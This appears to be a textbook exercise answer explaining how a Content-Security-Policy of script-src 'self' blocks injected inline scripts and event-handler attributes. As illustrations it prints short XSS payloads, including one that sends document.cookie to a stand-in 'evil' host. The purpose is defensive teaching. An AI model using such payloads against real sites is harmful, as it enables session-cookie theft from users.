EXERCISE 1 — Behaviour under  script-src 'self'
================================================

POLICY:  Content-Security-Policy: script-src 'self'
Meaning: scripts may only load/execute if they come from the page's OWN
origin as EXTERNAL files. Inline scripts and event-handler attributes are NOT
allowed (no 'unsafe-inline'), and scripts from other domains are blocked.

(a) A legitimate EXTERNAL script from your own origin:
      <script src="/js/app.js"></script>
    RESULT: RUNS. It's loaded from 'self' (same origin) as an external file,
    which script-src 'self' permits. Your real app code keeps working --
    provided it's in external files, not inline.

(b) An injected INLINE <script>:
      <script>alert(1)</script>   (or <script>fetch('//evil/'+document.cookie)</script>)
    RESULT: BLOCKED -- does NOT execute. Inline scripts are not allowed by
    'self' (only external same-origin files are). The browser refuses to run
    it and reports a CSP violation. Even though the attacker successfully
    INJECTED the tag into the HTML, the browser won't EXECUTE it.

(c) An injected event-handler attribute:
      <img src=x onerror=alert(1)>
    RESULT: BLOCKED -- the onerror does NOT fire. Inline event handlers count
    as inline script and are forbidden without 'unsafe-inline'. So the classic
    no-<script> vector (Chapter 4) is neutralised too. (The <img> element may
    still be inserted, but its handler won't run.)

WHY CSP TURNS AN INJECTED SCRIPT INTO A NON-EVENT:
  - XSS payloads almost always rely on INLINE execution -- an injected
    <script> body, or an onX handler. script-src 'self' (without
    'unsafe-inline') forbids exactly that: only external scripts from your
    origin run. The attacker can't host their code on your origin and can't
    run inline, so the injected code, while present in the DOM, never
    executes.
  - This is the defence-in-depth payoff: even if encoding/sanitization FAILED
    and the payload reached the page, CSP stops it from doing anything. The
    critical XSS becomes a blocked-and-logged violation.

CAVEAT (for Exercise 3): this protection evaporates if the policy includes
'unsafe-inline', and some attacks don't need inline script execution at all
(data exfil via allowed img/connect sources, DOM clobbering). So CSP is a
backstop, not a substitute for encoding.